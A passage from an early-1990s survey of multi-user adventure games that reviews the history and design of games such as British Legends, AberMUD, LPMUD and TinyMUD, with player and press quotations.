sounds +and smells. To this end, Alderton has been soliciting for location authors, and +has managed to secure some fairly big names in the MUA world (although none of +them have experience in writing their own MUAs). 8,000 rooms is sufficiently +large to make mapping virtually impossible, and the descriptions will vary +through completely different styles; the game is likely to seem as if it is a +SUA rather than a MUA. + + Mobiles are intended to have AI capabilities, but Alderton is rather +offhand about this, and appears to labour under the misapprehension that a +command along the lines of "ask about " is enough to ensure +success in that area. + + Full sensory abilities are hoped-for in Strata, including scent, taste +and audibility for all objects. Along with many of the other features +announced in the Adventure 89 flier, these are only impressive to players of +first-generation MUAs - MUD2, for example, has them already, and has had for +some time. + + An interesting suggestion is the inclusion of pseudo-mobiles - messages +appearing on the screen appearing to indicate the presence of mobiles passing +through, but actually just there to give an impression of a bustling, crowded +environment. + + Strata has a distinction between money and score (similar to that of +Empyrion - indeed, it is possible that Strata actually is Empyrion under an +earlier name). Money is used to buy things, but only by obtaining enlightenment +points can progress to the top level (entitled 'Etheral') be made. + + Resets in Strata are of the rolling variety: Alderton sought advice +from the authors of MirrorWorld, Zone and Gods before embarking on his project. +The game has humour explicit in its descriptions, which makes them fun the +first time you read them but aggravating after the umpteenth. However, with a +projected 8,000 rooms it is unlikely that rooms will be visited all that often +anyway... + + Strata runs on an Atari ST with a 32 megabyte hard disc. + +Summary: + If it delivers all the features it promises, Strata will be a good, +modern MUA. Concentrating on having a huge number of rooms, however, is a bad +move. Hopefully, the author will realise that before he launches 8 novels' +worth of locations on an unsuspecting world. + +Quotes: + + "I hope, when all is working, to have roughly 8,000 locations with + full descriptions including smell and listen. I have noticed + people try to comfort me when I tell them this, but I'm not insane + (!). It is technically possible..." + Nic Alderton [author] + + +Name: Wanderland +Author(s): Ted Greene ("Wanda") + +Brief Description: + Standard, MUD1 clone. + +Historical Notes: + One of the first MUD1 lookalikes, Wanderland is a long-standing MUA +which either moved or disappeared sometime last year. + +Review: + Wanderland is a traditional MUA with around 1,500 hundred locations in +its fantasy setting. Treasure is easy to find, and is scored for by placing it +in the Reclaimed Land. Strangely, 524,288 points are required to make wiz. + The game runs on a DEC computer, most probably a PDP 11. + +Summary: + A game with a pleasant atmosphere, much-loved by its players. + +Quotes: + + "It's a pity there aren't a few more players around, although MUGs + do tend to go through periods of popularity. Even so, perhaps I'll + make Wanderland the site of my third witch." + ACE [magazine] + + +Name: Warlord +Author(s): Neil Newell ("Hazeii") + +Brief Description: + Combat-oriented MUA. + +Historical Notes: + Only known appearance - Adventure 89. + +Review: + Warlord is a MUA where the only means of advancing levels is fighting. +There is a monetary system overlaid on top, so that players can buy weapons, +armour and related services. + + A problem with Shades (Warlord comes from the Shades stable) is that +players with fast modems have an advantage over ones playing at slower baud +rates. This is something of a preoccupation with the author, and hence Warlord +is designed to reduce any such advantage to a minimum. How this is done exactly +isn't clear from the flier, however. + + The top level of the game is 'warlord'. + +Summary: + The main thrill killer players get in a MUA is in attacking players who +don't want to fight. Since fighting is, by definition, part and parcel of +Warlord, it probably won't have staying power except among arcade-game lovers. + +Quotes: + + "The fighting tends to be fast and furious." + Third Millenium Systems [promotional material] + + "Preparation, skill and anticipation are all vitally important if a + player is to attempt to achieve the role of The Warlord." + Third Millenium Systems [promotional material] + +5. Reviews - Rest of the World. + +5.1 British Legends. + +Name: British Legends +Importance: 3 +Author(s): Roy Trubshaw, Richard Bartle +Location: CompuServe +Pricing Structure: $12.50/hour plus + $9.40/hour for UK players + +Brief Description: + Archetypal MUA. + +Historical Notes: + The original MUD1 MUA, with modifications for the American market. +Launched on CompuServe in mid-1987, but the core of it dates back to early +1980. The name-change was because CompuServe thought "MUD" sounded +unattractive. + +Review: + British Legends (or simply BL) is the American name for MUD1, the very +first MUA and the one from which nearly all others are descended. Despite its +age, BL still compares well against many other MUAs, especially those available +in the USA. Almost every feature present in MUAs, from wizzes to mobiles and +most of the vocabulary, comes from this game (although, technically speaking, +BL is MUD version 3B, a late modification of version 3A; it is 3A, or Essex +MUD, which is properly considered as the root of other MUAs). + + Although it is now dated, BL is still fun to play, continues to attract +new players, and is well managed. Its atmosphere is good, and its players +generally responsible (40% are female - the highest published ratio of any +MUA). + + The MUDDL interpreter that underlies BL is hardwired for a fantasy +style world, and is limited in the complexity of commands it allows to be +defined. Objects, rooms, mobiles and players are all stored using different +internal formats, which makes the writing of generic routines difficult. Room +descriptions take no account of whether the player is able to detect the +sensations listed, so it's possible to "hear" sounds when you're deafened and +not hear them when you're blinded. However, the system is still capable of +being expanded in certain directions - the "act" command, for example, was +taken from MUD2. + + Despite its simplicity, BL's parser is remarkably robust and +user-friendly - better than MUD2's, in fact. The game's depth is average, +although its breadth still beats that of most MUAs (on account of its age - +over the years, just about everything has been tried in it). + + Perhaps the worst thing about BL is the fact that there is a 7-second +delay between the processing of commands. This condition was imposed by +CompuServe - BL works asynchronously, and is thus normally one of the fastest +MUAs, even though the DECsystem 10/20 hardware upon which it runs is hopelessly +out of date now. In the UK, a 7-second delay in a commercial game would be +intolerable - 4 seconds is about the limit - yet since CompuServe impose +similar constraints on all their multi-player games, the USA market is +presently conditioned to accept such artificial limitations. + + Due to its age and the size of the CompuServe user base, BL is the +single most-played MUA in the world. + +Summary: + Evergreen MUA which started off the whole industry. It looks its age +when compared to the newer commercial MUAs, but is still surprisingly +sophisticated in places. A classic. + +Quotes: + + "The initial attitude of the Americans was to be politely skeptical + that any games software from the UK could be worthy of their + attention. But once they saw the program running on their system + they could hardly believe their eyes. So far as I know, this is + the first British program ever to be taken by CompuServe." + Simon Dally [MUSE managing director] + + "British Legends is better suited to the occasional user [than is + Gemstone], with its simpler entrance requirements and a universe + small enough to enable most players to get around adequately by + memory." + PC Magazine + + "The kinder, gentler [than Gemstone] British Legends makes a quick + command summary available, along with some rather general hints." + PC Magazine + + "Solving a puzzle for the first time is the most exciting part of + the game." + Ron Fitzherbert [player] + + "Adding a multi-user environment to the basic adventure game adds a + whole new dimension." + The Guardian + + "The first time I found myself in the swamp, a character called + Monkey came up to talk and scared me so much that I immediately + quit the game. I didn't know it was another person. I thought it + was a monster about to destroy me!" + John Starr [player] + + "Todd Carter is 22, a computer addict from Miami who was left blind + by a gunshot wound in high school. On CompuServe, he called + himself Blinddog when he played an adventure game called "British + Legends". He was so hooked on the game that he dropped about + $8,000 in on-line charges playing it." + The Miami Herald + + "Not only are the wizards and witches helpful to novices, but many + mortals also can show a kind word or gesture. Make friends!" + CompuServe [promotional material] + + "British Legends is the most-played multi-user adventure game in + the world." + The Observer + + +5.2 Gemstone III. + +Name: Gemstone III +Importance: 2 +Author(s): ? (Simutronics Corp.) +Location: GEnie +Pricing Structure: $35/hour 8am - 6pm + $5/hour 6pm - 8am + (no UK access point) + +Brief Description: + Multi-user adventure game, fantasy setting. + +Historical Notes: + One of the few MUAs developed independently of MUD1. + +Review: + Like MUD1, Gemstone III was inspired by SUAs. However, despite this +separation from the mainstream of MUA development, Gemstone III is nevertheless +uncannily similar in many areas, particularly in its basic "search for +treasure, get points, go up levels and become a wizard" attitude; levels and +wizdom were never a part of early SUAs. + + Gemstone III is primarily a role-playing game, which makes it popular +among Americans. To this end, it requires that people beginning the game flesh +out their persona by choosing between various personality characteristics, +races, occupations, and many other details right down to eye colour. Few of +these have any real bearing on gameplay, but they do make new players think +they're getting value for money. + + The game has a 25,000 word manual, which must be downloaded and read +because there is no on-line help while playing. This, and the barrage of +persona-defining questions at the beginning, combine to make Gemstone III very +daunting for all new players except those in whom a thick rulebook induces +excitement. + + There are many rooms in Gemstone III, including streets and shops. As +with the rest of the game, it seems that size is regarded as the most important +facet, and that detail must be provided whatever the cost and no matter how +irrelevant it is. It's the classic role-playing problem: whether to provide a +loose framework in which players can develop personae their own way, or a tight +one where players' options are limited by strictures imposed by the game +dependent on the role they have chosen. MUD1's descendents tend to favour the +freedom of the former; Gemstone III comes down heavily in favour of the latter, +and in this respect is more akin to Island of Kesmai. + +Summary: + An interesting MUA, but one which requires a certain doggedness on the +part of its players to stay the course. Not a game for dabblers, socialisers or +fun-seekers. + +Quotes: + + "Gemstone is the one for people who want to escape reality and + really get into playing a role in an incredibly complex world." + PC Magazine + + "The sheer number of options involved in getting started can be so + intimidating that a simplified setup process is also provided." + PC Magazine + + "In my roamings through Gemstone, I never saw the same place twice. + Drawing a map is definitely necessary to navigate effectively." + PC Magazine + + +5.3 Other Commercial MUAs. + + As in the last subsection of the section on UK MUAs, the MUAs presented +here are known to exist; however so little information is available concerning +them that no detailed reviews or summaries are given. + + +Name: Kyrandia +Location: Galacticomm Bulletin Boards + +Brief Description: + A basic multi-user adventure game. +Notes: + Bundled with the Galacticomm Bulletin Board system. These are +expandable MSDOS machines intended for commercial, multi-user conferencing and +the like. + +Quotes: + + "A version of Kyrandia is reachable via US Minitel at "ALLA". I've + yet to meet anybody in it, so usage seems light. And at + $0.20/minute, exploring the world is very expensive." + John Nagle [player] + + +Name: Quest for Magic +Location: Galacticomm Bulletin Boards + +Brief Description: + A basic multi-user adventure game. +Notes: + See Kyrandia. + +Quotes: + + "A multi-user, interactive text adventure game." + Galacticomm [promotional material] + + +Name: Scepter +Author(s): Alan Klietz +Location: none + +Brief Description: + A multi-user adventure game, fantasy setting. +Notes: + A game called Milieu was written in the early 1980's under Multi-Pascal +for a CDC Cyber used by high-school students in Minnesota for educational +purposes. Klietz ported it to an IBM XT in 1983, and renamed it Scepter of +Goth. Klietz later wrote a MUA called Screenplay, which incorporated building, +using an interpreted command language reputedly more powerful than those +available on the InterNet today. + + Scepter was influenced by AD&D-style role-playing, and incorporated +many of the ideas concerning character classes and skills presently gaining +popularity in commercial UK MUAs like Avalon. Combat was blow-by-blow, and +multiple identical objects were numbered (the same approach taken by MUD2). + + Scepter was sold to a company called InterPlay in Virginia, which +licensed out the software but was liquidated after its executives were charged +with tax evasion. The game was sold off to creditors, and is no longer +available. + + Although many players loved the game, Scepter earned a reputation for +enforcing artificial friendliness among its players, with ruthless consequences +for "troublemakers". Thus, all sparks of originality were snuffed out, but the +game worked well for people who didn't "misbehave". + +Quotes: + + "Scepter had the best atmosphere of any multi-user game I've + player." + Bill Wisner [player] + + "In Scepter, you just offer an item for sale several times to get + an idea of the price, then sell it when you hit the maximum again. + Nobody I knew in Scepter ever bartered. They just took the first + offer. They had better things to do with their time." + Andrew Thomas [player] + + +5.4 AberMUD. + +Name: AberMUD +Importance: 1 +Author(s): Alan Cox ("Anarchy"), + Jim Finnis, Leon Thrane, + Richard Acott, Rich Salz, + Brian Preble ("Rassilon") +Location: InterNet + ArkMUD engr.uark.edu + ButlerMUD butler.tds.kth.se + HackeMUD bass.vsect.chalmers.se + IlliniMUD speedy.cs.uiuc.edu + TempleMUD monet.ocis.temple.edu + The Underground mole,ai.mit.edu + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + Cox was a player of MUD1 who wrote AberMUD while a student at the +University of Wales, Aberystwyth. The code was made generally available, and +was enhanced and added to by several people, most notably Salz; Preble is the +present AberMUG co-ordinator. A commercial version of the game has been +running on Connect since 1989. + +Review: + AberMUD was written in 1987 in B for a Honeywell L66 mainframe under +GCOS3/TSS. Its first scenario was not a serious effort; its second scenario is +the one in present use. + + In 1988, AberMUD was ported to Unix and converted to C. Version 3.7.14 +was distributed on JANet and InterNet, and regular updates by the original +authors continued until version 3.9.8. The present version is 3.12.5, but +version 3.9.8 spawned a rogue 4.9.8 clone which, among other things, has combat +messages ripped out of MUD1. This is the version which became most popular on +InterNet. Despite its poor design and implementation (eg. communication via +shared files), AberMUD became the first widely-available MUA on InterNet, and +most of the games presently being written by academics are descended from it. + + The game itself is not particularly special, being a poor MUD1 +lookalike in the Shades mould. There are 10 levels, scaled slightly lower than +is common, and with fights scoring relatively higher than treasure. Treasure is +converted into points by dropping it in a sacrificial pit in a church, ie. as +MUD1's swamp. + + There is no "sleep" command to restore stamina after a fight; instead, +stamina is recovered automatically over time. This is something MUD1 did not +have; although MUD2 does, AberMUD's rate of stamina replenishment is much +quicker. + + AberMUD lacks polish, despite its commercial standing and its erstwhile +popularity (now waning, as it's regarded as a CPU hogger). There are missing +full stops, spurious full stops, inconsistencies in uses of commas, and the +room descriptions are convoluted and ambiguous. Objects and rooms are placed +together without reference to description clashes, eg. snow on the ground, rain +in the air and a rainbow in the sky, all at the same time. + + Abbreviations in AberMUD are not catered for very well - the common "l" +("look") and "x" ("exits") commands are missing, for example. The game is also +deficient in other commands - no "act" or equivalent, and apparently only +cardinal directions plus "up" and "down". The game needs to be reset +occasionally, but doesn't do so automatically: an explicit "reset" command is +necessary. + + Although fights play a big part in AberMUD, they are not well +implemented, initially being of "the ghoul hits you" variety. This may explain +why many of the game's descendents eschew fighting altogether. + +Summary: + A simple MUA that makes other InterNet MUA-writers think they have +less to do to become world class than is actually the case. + +Quotes: + + "The main reason for writing it was because the system manager said + it wasn't possible on the Honeywell." + Alan Cox [author] + + "It now seems to have found a home at St. Olaf University, where a + few dedicated hackers are keeping it alive despite its general + grunginess." + Bill Wisner [player] + + "The combat text has been greatly improved. ... InterNet versions + now offer more MUD-like multi-line messages." + Comms Plus! [magazine] + + "I do have one fairly major quibble, and that is the lack of + information and help text within the game." + Comms Plus! [magazine] + + "AberMUD has a sort of similar concept to LPMUD (kill the monsters + and such until you become a wizard), but that's about the end of + the surface similarity. LPMUD is designed to be easily extended + from within the game. Once you become a wizard, you work on + developing new sections of the game, and a list is kept of which + wizards' sections are most popular. AberMUD can only be modified + by changing the source data files and recompiling, and even then + is far from easy (I know, I've done it...)." + Jim Seidman [player] + Most of these MUDs have been eliminated in the US because of the + network traffic they cause." + Philip Cutone III [player] + + "The best version on the InterNet was in Sweden, and people in the + US would play it but put up with the link problems which would + regularly disconnect them." + Comms Plus! [magazine] + + "A problem with AberMUD, and to some extent LPMUD, is that people + with slower links are severely penalised. Especially on some + AberMUDs where the wizards require everyone to go back to the + church before resetting, people with slow links have no chance." + Jim Seidman [player] + + "AberMUG is a fairly 'standard' game in its setting and in its + general feel, so existing MUGgers should feel at home - although I + did find the absence of several abbreviations to be annoying." + Comms Plus! [magazine] + + "I wasn't too amused at the way people seem to have lost the + original AberMUD license, broken it in several places, and even + included copyright material from other games systems (MUD1) in + it." + Alan Cox [author] + + "AberMUG is a multi-user adventure game in the traditional mould." + Connect [promotional material] + + +5.5 LPMUD. + +Name: LPMUD +Importance: 1 +Author(s): Lars Pensjo +Location: InterNet + BATMAN batman.hut.fi + Boiling MUD frey.nu.oz.au + ClubMUD milton.u.washington.edu + Crossroads civeng.ua.oz.au + Darker Realms worf.tamu.edu + Dartmouth LP melchior.dartmouth.edu + DEATHMUD gauss.nmsu.edu + DeepTrouble MUD krikand.iesd.auc.dk + End of the Line ucrmath.ucr.edu + GENESIS milou.cd.chalmers.se + GhostMUD beowulf.acc.stolaf.edu + NannyMUD nanny.lysator.liu.se + NLD MUD chaos.utexas.edu + Phoenix galjas.cs.vu.nl + Sanctuary j.ms.uky.edu + Small Systems calvin.nmsu.edu + Sun MUD einstein.mpccl.ksu.edu + Thieve's World uokmax.ecn.uoknor.edu + Third World hardy.u.washington.edu + UCSB-GEOG LPMUD sherlock.geog.ucsb.edu + U Maine LPMUD mud.umcs.maine.edu + Vision watnxt2.ucr.edu + WARHAMMER MUD watnxt3.ucr.edu + World of Mizar mizar.dosc.uu.se + +Brief Description: + Standard MUD1 clone with object creation. + +Historical Notes: + Pensjo obtained the source for AberMUD, didn't like it, so wrote his +own MUA instead at Gothenburg in Sweden. It was distributed to other Unix sites +across InterNet. Late 1989, some American players modified the code themselves +(despite regular updates and technical support by Pensjo), and the two LPMUDs +diverged. Several attempts to reconcile the European and American sources is +now under way, such as one being programmed by Duncan Howard (a former MUD1 +arch-wiz). + +Review: + LPMUD (named after its author) is one of the more popular MUAs on +InterNet, certainly in terms of the number of sites that run it. Although +immediately descended from AberMUD, copies of MUD1 were sent to Sweden in the +early 80's, prompting some activity in the MUA area by the locals; there was a +project possibly already under way at Linkoping to develop a MUA called +Asgaard, which eventually petered out but left a body of programmers with +experience in MUAs. It seems likely that the lessons and ideas that emerged +from this effort may have had an indirect influence on Pensjo. + + LPMUD plays as a good MUD1 clone until wiz level is reached. At that +point, it allows players to create their own permanent rooms, objects, mobiles +and (even) commands. The game's interpreter will accept input in a C-like, +object-oriented language called LPC, and will save all creations across resets +(unlike MUD2). It was the first InterNet MUA with this facility built in +(although there is a good measure of cross-fertilisation with TinyMUD), and is +thus often credited with inventing the idea; actually, most good first-attempt +interpreters can handle it (second-attempt interpreters generally take their +input preprocessed by a database compiler, for speed). + + Because each LPMUD has rooms created by its players, the different +sites on InterNet will all be different; a common core of rooms is linked to a +network of new ones. However, room complexes are often copied between different +LPMUDs, so the difference is not as great as it might be. + + Resets in LPMUD are rolling. Initially, one object was reset every 3 +seconds, but this meant that the more objects that were added, the longer the +period between resets. Now, objects are only reset in a room when a player +enters that room - a form of lazy evaluation. This works well, but it has the +disadvantage of only working for very simple puzzles that involve objects' +changing locations, rather than their changing other properties. + + In LPMUDs, it's only a question of time before a player makes wiz. The +only penalty for death is being subjected to a time-consuming sequence where +the deceased is taken to a room and meets Death incarnate. Higher-level +players even get a scar from this that they can show to their friends. Recently +a quest system (similar to MUD2 tasks) has been added to make sure players know +something about the game before reaching wiz, but performing such quests is not +particularly dangerous to personae. + + LPMUD has experimental bots programmed in LPC and running internal to +the game. These are therefore more properly referred to as mobiles, but this +term has not found favour in InterNet MUAs since most of them don't cater for +such sophisticated objects. LPMUD has a client, LPTalk. + + Versions of the European LPMUD are distributed regularly, and improving +the system is an ongoing project programmed by Pensjo. There are some features +which need changes to the LPMUD interpreter before they'll work, for example +players' properties are hard-coded and transient ones cannot be saved to disc. +However, with its excellent support and dedicated players, LPMUD will doubtless +be around for some considerable time yet. Despite this, most LPMUDs are based +in Europe - American systems managers seem less ready to tolerate CPU-intensive +MUAs than their European counterparts, and prefer light users like TinyMUD and +its descendents. + +Summary: + An average MUA with object creation added on top. Not as prone to +criticism as the freer creation-based games (if, indeed, games they are) like +TinyMUD, but still causing the usual problems of atmosphere, editorial control +and overall ownership that would dog a commercial version of the software. + +Quotes: + + "Only wizards can create new objects and rooms. By limiting + creation like this, the feeling of chaos that one is prone to + encounter on Tiny-type games is reduced." + Comms Plus! [magazine] + + "LPMUD: Lots of programming available. Mainly an adventure setup + where you are trying to advance in level by solving puzzles and + killing wandering monsters. This gives users a 'carrot' to chase + (becoming a wizard) and could keep them in the game easier." + Glenn Crocker [player] + + "One of the advantages that I see with LPMUD is that objects are + continually being reset. There is one object reset every 3 seconds + or so, so that an object will come back every 15 minutes or so. + Therefore, a lot of people have the chance to explore and see + things." + Jim Seidman [player] + + "Some rooms have been taken from AberMUD, but the game is + user-extendable." + Comms Plus! [magazine] + + "The bad news about LPMUD is that the programming language is very + C-like, and that comes back to the problem of whether your players + know C... They might not be willing to learn a language just for + the game. Of course, the same applies to TinyMUCK." + Jim Seidman [player] + + "This [extensibility] introduced a considerable level of depth into + the choices open to wizards, and brought some new problems too." + Bill Wisner [player] + + "On LP there is massive amounts of building, because after making + wizard the whole point of the game is to have most people visit + your area. So, wizards build their areas to attract people, and if + a wizard has crappy building, nobody visits. Therefore, the + wizard is forced to make his building that much better." + Patrick Wetmore [player] + + "Strangely enough, the LPMUDs are closer to what the original + TinyMUDs were: people wandering around, exploring. Eventually, + people start building their own domains for people to explore. + Granted, only wizards can build, but in a way that's good, since + it really stops the casual builder who builds two or three items + then wanders off never to build again." + Martin Terman [player] + + "Semi-recently, quests were added as a feature of LPMUD. A certain + number (or all) of the quests must be solved before advancing to + wizardry. Most quests involve puzzle-solving and exploring (and + most have some hack and slash involved too). Suddenly, LPMUD did + not guarantee wizardry just by serving your tour of duty as a + player - thinking was involved." + Darin Johnson [player] + + "The rate of new wizards on Genesis [the first LPMUD] is ten per + week, and Genesis is already crowded (186 of level 20 and + above...)." + Bertil Jonell [player] + + "LPs are something worth checking. Think: 3,000+ rooms, 30+ + players, running 24 hours - and not arousing the [system owners'] + administration. These provide some challenge to the player - not + to mention wizards and gods, it's just a pity their efforts mainly + are used in building new rooms, not to make interesting events for + players." + Esa Kankaanpaa [player] + + +5.6 TinyMUD. + +Name: TinyMUD +Importance: 1 +Author(s): Jim Aspnes +Location: InterNet + DragonMUD naucse.cse.nau.edu + Eden unicorn.wwu.edu + FantaMUD sage.cc.purdue.edu + Islandia II apex.yorku.ca + MuseumMUD fuzine.mt.cs.cmu.edu + TinyMUD Classic planck.physics.purdue.edu + TinyWorld banyan.ssc.gov + +Brief Description: + Object creation and inter-player communication. + +Historical Notes: + TinyMUD was prompted by a 1989 discussion on InterNet, and drew on +LPMUD to abstract an idealised notion of what made MUAs important. It rapidly +spread across InterNet, due mainly to its small size and low CPU requirements. +Aspnes' own TinyMUD was closed down when he grew tired of it. + +Review: + The MUD in TinyMUD stands for "Multi-User Dimension." There is some +debate as to whether the system is a game. It was certainly written as a game, +with the idea that players collect 'pennies' which they then spend on building +new rooms. Pennies were either left lying around, or obtained by dropping +objects in a pit. Combat is possible, just, but it's generally discouraged for +fear of frightening off players. Everything else is very, very basic - even +gender pronoun substitution wasn't handled in the original. + + This adventuring aspect of TinyMUD rapidly disappeared. Objects were +created with huge values, and soon players could get as many pennies as they +wanted. This meant they spent all their time either building rooms or +socialising with other players. The key point about TinyMUD is that anyone can +build rooms. All they need to connect their creations to the rest of the room +network is the co-operation of an existing player who doesn't mind linking a +free exit with one in the new complex. Whether this is topographically correct +is immaterial, as is the quality or quantity of rooms so joined together. + + TinyMUD's creative capacities are strictly limited to only basic +objects, rooms and exits. Complex actions cannot be defined, only room-related +puzzles (eg. hidden doors, missing keys, mazes). Programmers found this +frustrating, which is why the TinyMUD sources were rapidly torn apart and put +back together with more powerful facilities at builders' disposal, eg. in +TinyMUCK and TinyMUSH. + + There are wizzes in TinyMUDs, of a sort. Really, they're little better +than sysops, although they do have some authority over building and can remove +or modify rooms. Game management is very difficult, however, since anyone, +friend or foe, has full powers to add new rooms whether they have the slightest +idea of what they're doing or not. This ensures that the only atmosphere a game +possesses is that due to its players, and that any pretensions of consistency +or depth swiftly disappear. Sadly, most people are not good room-describers +(in the same way that most people aren't good novellists), and thus, although +the quantity of rooms in a TinyMUD can be fantastically large, the quality is +generally very low. + + TinyMUD has several clients written for it - most of which work with +all its descendents - and half a dozen or so bots. Some of these bots are +tightly coupled to the program, able to dispense pennies etc., and thus are +prone to causing crashes. + + Ardent TinyMUD players see their game as the pinnacle of achievement +for MUAs. At the bottom end of the evolutionary scale are CB chatline +programs; next come systems with rooms, allowing local conversations and some +degree of privacy; higher up, basic commands like "who" and "look" are present; +higher still are games, with objects, more sophisticated commands, and rooms +linked together so that they can be perceived as a complete structure; most +sophisticated of all are the systems that allow the user to create rooms, +objects, and complete scenarios "limited only by the imagination of the +builder". + + This evolutionary view of things completely misses the point: in order +for room-creation to be worth anything, there has to be a user: commodities are +valueless if they cannot be sold. TinyMUDs have no-one using the products of +creation, and are therefore little more than chatlines with rooms as +conversation pieces. They're no more games than would be an illustrated +on-line discussion of amateur artists' latest masterpieces. TinyMUDs are indeed +limited only by the imagination of the builder - with heavy emphasis on the +word "limited". + + TinyMUDs have a short lifespan, and operate like slash-and-burn +agriculture: once a site has been farmed by a TinyMUD, thousands of players +have been either hooked on TinyMUDs or put off all MUAs forever. The addicts +will choose another site elsewhere, the rest are effectively lost. + + As an example, consider two related TinyMUDs, Islandia and BloodMUD. +They had the same seed, but grew in opposite directions. The fact that they +are both regarded as "classic" TinyMUDs gives testimony to the ephemerality of +such MUAs on InterNet. + + Islandia began as recently as January 1990. By its close in November +1990, it was regarded as a "tradition" among TinyMUD users. It had as its core +a 1000-object (ie. rooms, exits and portable objects) database called +TinyBASE. This was put on general release to make the task of starting up a +TinyMUD from scratch easier. + + Islandia started at Berkeley, but was moved to different sites as it +increased in size. It was constantly added to, and grew to be huge. In the +month of October, it had 1,503 players (from a total of 3,271) and 14,900 rooms +- a phenomenal size for a MUA. However, of those 14,900 rooms, only 7,503 were +used that month... + + Islandia was a friendly place, with friendly people, and famed for its +many beautifully designed rooms. Its maintainers scoured the database removing +useless or incomplete creations, trying to keep it to a manageable size and +reasonably consistent. However, they finally decided to take the system down +simply because, despite their efforts, it had grown too large; besides, they +were wearying of trying to trim the database in the face of its relentless +growth towards full capacity. + + The maintainers also felt that the game was too old. People were using +the system as a means to annoy others, which was taken as a sign of decay. +Since TinyMUDs offer no facilities for game management, this fate eventually +befalls all such programs, except in the case where being nasty is the whole +point of playing. + + Such was indeed the case with BloodMUD. The TinyBASE database was taken +as a starting point, and developed along themes of blood, violence and sleaze. +Rooms were deliberately corrupted by other players, with special attention +giving to vandalising TinyBASE. BloodMUD was a reaction to the "nice" +atmosphere that pervaded Islandia - and was a lot more fun to play. It finally +disappeared when the database was accidentally deleted, but by then it had sunk +into depravity. + + By giving game-writing powers to anyone and everyone, it was hoped that +TinyMUD would be a means of promoting individual expression and group +interaction. It was a brave attempt, but it didn't work. Instead, TinyMUD has +probably done more harm than good, at least in the short term, with many +American academics growing up holding narrow views of what constitutes a MUA. +On a commercial network, a game like TinyMUD would rapidly burn up as soon as +it acquired a modest user base. + +Summary: + TinyMUD is not so much a MUA as a forum for conversation where +participants have pinned short pieces of prose on the wall for the benefit of +anyone with the inclination to read them. If this kind of MUA gets a strong +hold in the USA, it could set the industry back several years. + +Quotes: + + "TinyMUD isn't a MUD in the classical sense of the term; it isn't a + game. In TinyMUD, all people can really do is create things and + interact with others. It has built up a considerable following, + and today is perhaps the most popular MUD on the InterNet." + Bill Wisner [player] + + "TinyMUD was written as a game. Jim Aspnes did not go 'Gee, I think + I will create a social environment that will replace reality and + have dozens of kids fail out of school because they are so + addicted by this game.'" + Edwin Huang [player] + + "The *primary* value of TinyMUD is as an experiment in + computer-mediated social interaction." + Michael Mauldin [Julia author] + + "TinyMUD: mainly social. Little programming available in objects, + false exits and fail messages being the main programmability. + It's simple, but could get boring." + Glenn Crocker [player] + + "Combat, adventuring, levels etc. are not part of this game. It is + possible that you could add these features to the game, seeing as + the whole TinyM* series is notably more flexible (and consequently + less well defined as a gaming system) than any other I've seen." + Duncan Howard [MUD1 arch-wiz] + + "One thing which draws people to TinyMUD is the dynamic room/object + creation, but AberMUD would *never* allow *everyone* to create + things. There is also a problem that AberMUD is a *much* more + complex program than I think TinyMUD will ever get to. Dynamic + room creation in an object-oriented type game is very hard to + implement because the game requires many more flags and such than + TinyMUD." + Michael Barthelemy [player] + + "With many people allowed to build freely, you get problems with + non-finished parts of the world and parts that are totally + different in character from the rest of the game. Walking from a + fantasy castle to an SF setting or finding a large joystick in the + centre of the castle may be fun the first couple of times, but it + kills the atmosphere." + Jorgen Holmberg [player] + + "I have personally received pages from people who're sorry that + Islandia has to go and would like us to keep it going." + Conrad Wong [Islandia maintainer] + + "BloodMUD was a fun place, near anarchy, as close as one could get. + People did horrible things and generally broke MUD taboos whenever + possible. It was not a MUD for socialisation or exquisite + building, it was a MUD for being nasty and killing. ... In short, + it was an excellent place." + Martin Terman [player] + + "I put the kill command in when I was still assuming ... it would + be difficult to detect disconnects. It was called 'kill' as a joke + - and I assumed that putting a 100p charge on it would keep people + from using it very often." + Jim Aspnes [author] + + "Eventually they [TinyMUDs] are going to get too big for their + servers, no matter how large they already are. ... Smaller MUDs + are at the low part of the exponential growth curve, and have a + great deal more life ahead." + Conrad Wong [Islandia maintainer] + + "If you have a big MUD with 10,000 rooms and things enough to keep + you happy 'til doomsday, the players won't look for them. After + the initial fun wears off, they stop playing and start chatting, + never to play again." + Jorgen Holmberg [player] + + "Nobody pays attention to building on Tiny*s, except for newbies + occasionally, but they're lowly peons and soon grow out of it + anyway. So nobody builds there." + Patrick Wetmore [player] + + "I came across a room with an intriguing name. When I looked, I saw + "dir1 dir2 dir3 dir4 dir5". After typing "dir1" I was then + presented with another list of about 35 names (trying the other + directions, I was presented with similar sized lists of different + names). I picked one name and typed it in, and was suddenly taken + into someone's domain. The size of each domain was limited only + by the owner's imagination and the number of pennies they had + available. When it dawned on me that each room behind the numbered + portals were actually links to created kingdoms and the like, the + sheer enormity of the game took my breath away." + Comms Plus! [magazine] + + +5.7 TinyMUCK. + +Name: TinyMUCK +Importance: 2 +Author(s): Stephen White, + "Lachesis" +Location: InterNet + Brigadoon dante.cs.uiuc.edu + CAMUCK flounder.berkeley.edu + FurryMUCK hobbes.catt.ncsu.edu + MbongoMUCK mbongo.ucsd.edu + MedMUCK thesis2.hsch.utexas.edu + Pegasus l_cae05.icaen.uiowa.edu + QuartzPARADISE quartz.rutgers.edu + TinyHORNS bashful.cc.utexas.edu + +Brief Description: + TinyMUD with better building. + +Historical Notes: + Version 1.0 was written by White, however he has left the project and +there is now a programming team developing the system, headed by "Lachesis". + +Review: + TinyMUCK is a version of TinyMUD that has been drastically modified to +make building more powerful and controllable. Players need to have the "mucker" +bit set by a wizard, which enables them to "muck about" with the game. Thus, +visitors and casual players are denied the ability to wreak havoc (although if +they really want to, there's little to stop them once granted the mucker bit). +TinyMUCK is very popular, and people starting up their own MUA these days +usually choose it in preference to TinyMUD. + + The big difference between TinyMUCK and TinyMUD is programmability. +TinyMUD provides users with very basic creation facilities, but TinyMUCK has +its own interpreted programming language, TinyMUF ("Multi-User Forth"). This is +flexible and powerful, but has a reputation of being difficult to use. + + TinyMUF (or just MUF) is basically the same as Forth, with a few new +library routines. It has three types of constant: integer, string and database +reference (an index into the database that is unique to every game object). The +language is stack-based, with library routines that operate on the stack (eg. + +pops off two elements, and pushes back their sum). Variables are static, and +there are functions to set and fetch them; variables' names (addresses) need to +be dereferenced to obtain the values they hold. MUF has a limited "if-then" +construct, but no "if-then-else". The game-specific library routines do things +like print a string on someone's screen. There is some protection offered to +players' creations in that "important" properties of objects cannot be modified +except by their 